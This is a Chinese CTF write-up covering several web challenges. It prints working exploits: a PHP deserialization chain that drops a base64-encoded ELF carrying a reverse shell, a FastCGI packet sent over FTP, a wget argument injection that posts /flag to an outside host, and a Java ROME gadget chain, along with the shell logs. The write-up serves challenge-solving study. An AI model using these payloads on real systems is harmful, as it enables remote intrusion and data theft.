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题挺有意思的,Web有点难,而且后面三道难题放的有点晚了,时间不够(肝了一下午的Java)。这个比赛的难度,能早9晚9的话可能还好一些,早9晚5就有点紧了。
Java还是太菜了,需要学很多的东西。
反序列化链的构造很简单就不提了,正常构造写文件发现应该是不行的,目录应该不可写。给了个Hint类里面提示phpinfo,那打一下phpinfo看一下:
class Bypass { public function __construct(){ $this->str4 = "phpinfo"; $this->feng = new Esle(); } /* public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { //throw new Error("Error"); } }*/ } echo urlencode(serialize(new Bypass()));
发现有fastcgi,再联想到利用的这里:
file_put_contents($this->filename, $this->data);
很容易想到利用ftp被动模式打fastcgi了。
流程按蓝帽杯那题来就行了,不细锁了。先把恶意类的so打过去,把它写在/tmp/feng.so
:
import base64 import requests payload="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DhCGAkMNBk4MBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAGAAAAAAAAAAAAAAAAAADgBQAAAAAAAAEA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AAAAAAAAAAAAAACTAQAAEgAJAAAFAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc2OTgAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGhhY2suYwBfX0ZSQU1FX0VORF9fAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAX2luaXQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAyAEAAAAAAADIAQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALgAAAPb//28CAAAAAAAAAPABAAAAAAAA8AEAAAAAAAA8AAAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAAwAgAAAAAAADACAAAAAAAAIAEAAAAAAAAEAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABAAAAAAwAAAAIAAAAAAAAAUAMAAAAAAABQAwAAAAAAAJ4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAO4DAAAAAAAA7gMAAAAAAAAYAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAFUAAAD+//9vAgAAAAAAAAAIBAAAAAAAAAgEAAAAAAAAIAAAAAAAAAAEAAAAAQAAAAgAAAAAAAAAAAAAAAAAAABkAAAABAAAAAIAAAAAAAAAKAQAAAAAAAAoBAAAAAAAAMAAAAAAAAAAAwAAAAAAAAAIAAAAAAAAABgAAAAAAAAAbgAAAAQAAABCAAAAAAAAAOgEAAAAAAAA6AQAAAAAAAAYAAAAAAAAAAMAAAAVAAAACAAAAAAAAAAYAAAAAAAAAHgAAAABAAAABgAAAAAAAAAABQAAAAAAAAAFAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABzAAAAAQAAAAYAAAAAAAAAIAUAAAAAAAAgBQAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAfgAAAAEAAAAGAAAAAAAAAEAFAAAAAAAAQAUAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIcAAAABAAAABgAAAAAAAABQBQAAAAAAAFAFAAAAAAAA7QAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACNAAAAAQAAAAYAAAAAAAAAQAYAAAAAAABABgAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAkwAAAAEAAAACAAAAAAAAAFAGAAAAAAAAUAYAAAAAAAA3AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJsAAAABAAAAAgAAAAAAAACIBgAAAAAAAIgGAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAIAAAAAAAAAsAYAAAAAAACwBgAAAAAAAHwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAswAAAA4AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL8AAAAPAAAAAwAAAAAAAAAYDiAAAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADLAAAABgAAAAMAAAAAAAAAIA4gAAAAAAAgDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAAOAPIAAAAAAA4A8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANQAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADdAAAAAQAAAAMAAAAAAAAAIBAgAAAAAAAgEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA4wAAAAgAAAADAAAAAAAAACgQIAAAAAAAKBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOgAAAABAAAAMAAAAAAAAAAAAAAAAAAAACgQAAAAAAAAKQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABYEAAAAAAAAPgEAAAAAAAAGgAAACoAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAUBUAAAAAAACZAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAOkWAAAAAAAA8QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=" url="http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/" params = { "code":'O:6:"Bypass":2:{s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":1:{s:8:"filename";s:12:"/tmp/feng.so";}}s:4:"feng";O:4:"Esle":0:{}}' } data={ "data":base64.b64decode(payload) } r=requests.post(url=url,params=params,data=data)
ftp那边起,nc起,然后payload打过去就行了:
<?php class Check { public static $str1 = false; public static $str2 = false; } class Esle { public function __wakeup() { Check::$str1 = true; } } class Hint { public function __wakeup(){ $this->hint = "no hint"; } public function __destruct(){ if(!$this->hint){ $this->hint = "phpinfo"; ($this->hint)(); } } } class Bunny { public function __construct(){ $this->filename="ftp://121.5.169.223:39444/1"; $this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00"); } public function __toString() { if (Check::$str2) { if(!$this->data){ $this->data = $_REQUEST['data']; } file_put_contents($this->filename, $this->data); } else { throw new Error("Error"); } } } class Welcome { public function __construct(){ $this->username = new Bunny(); } public function __invoke() { Check::$str2 = true; return "Welcome" . $this->username; } } class Bypass { public function __construct(){ $this->str4 = new Welcome(); $this->feng = new Esle(); } /* public function __destruct() { if (Check::$str1) { ($this->str4)(); } else { //throw new Error("Error"); } }*/ } echo urlencode(serialize(new Bypass()));
http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A27%3A%22ftp%3A%2F%2F121.5.169.223%3A39444%2F1%22%3Bs%3A4%3A%22data%22%3Bs%3A452%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09SCRIPT_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00%22%3B%7D%7Ds%3A4%3A%22feng%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D
root@VM-0-6-ubuntu:~# nc -lvvp 39876 Listening on [0.0.0.0] (family 0, port 39876) Connection from 117.21.200.166 64381 received! bash: cannot set terminal process group (24): Inappropriate ioctl for device bash: no job control in this shell www-data@a4c71746264f:~/html$ ls ls index.php www-data@a4c71746264f:~/html$ cd / cd / www-data@a4c71746264f:/$ ls ls bin boot dev etc flag home lib lib64 media mnt opt php.ini proc root run sbin srv sudoers sys tmp usr var www-data@a4c71746264f:/$ cat /flag cat /flag flag{b483c338-32f1-48a9-819f-72e276607834}
一道Go的代码审计,大致扫一遍应该就知道了,/wget
是利用到,但是似乎鉴权没有做:
router.GET("/wget", getController)
func getController(c *gin.Context) {
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}
c.String(http.StatusOK, "Nothing")
}
直接能执行命令了,拿wget把flag带出来即可:
/wget?argv=1&argv=--post-file&argv=/flag&argv=http://121.5.169.223:39876/
root@VM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 121.5.169.223:39876
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
flag{88729834-1693-4af8-abba-0ebf6bd84ec2}
给了个反序列化的入口,而且调用了toString()
方法:
@ResponseBody @RequestMapping({"/BackDoor"}) public String BackDoor(@RequestParam(name = "ctf",required = true) String data) throws Exception { Set blacklist = new HashSet() { { this.add("java.util.HashMap"); this.add("javax.management.BadAttributeValueExpException"); } }; Object object = null; byte[] b = Tool.base64Decode(data); InputStream inputStream = new ByteArrayInputStream(b); BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, blacklist); try { object = ois.readObject(); } catch (IOException var12) { var12.printStackTrace(); } catch (ClassNotFoundException var13) { var13.printStackTrace(); } finally { System.out.println("information:" + object.toString()); } return "calm down...."; }
但是有黑名单,看一下pom.xml:
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.5.6</version> <relativePath/> <!-- lookup parent from repository --> </parent> <groupId>com.kyzy.ctf</groupId> <artifactId>ezjaba</artifactId> <version>0.0.1-SNAPSHOT</version> <name>ezjaba</name> <description>Demo project for Spring Boot</description> <properties> <java.version>1.8</java.version> </properties> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project>
有个rome显得很突兀,查一下确实有个链可以rce,但是需要用到被ban了的HashMap。但用到HashMap其实只是为了在Gadget中调用到那个toString,但本题已经显示的调用了,所以从网上找POC改一下即可:
package com.summer.test; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class Test { public static class StaticBlock { } public static void main(String[] args) throws Exception { byte[][] bytecodes = new byte[][]{Base64.getDecoder().decode("xxx")}; // 实例化类并设置属性 TemplatesImpl templatesimpl = new TemplatesImpl(); Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templatesimpl, bytecodes); Field fieldName = templatesimpl.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(templatesimpl, "test"); Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory"); fieldTfactory.setAccessible(true); fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance()); ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(objectBean1); byte[] sss = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(sss); System.out.println(exp.replace("+","%2b")); } }
还是动态加载字节码,关键就是那个恶意类里面要执行的代码该怎么写了。
我先是在本地打通了,远程那边一直没有回显,猜测是不出网,问了一下出题人确实是不出网的。
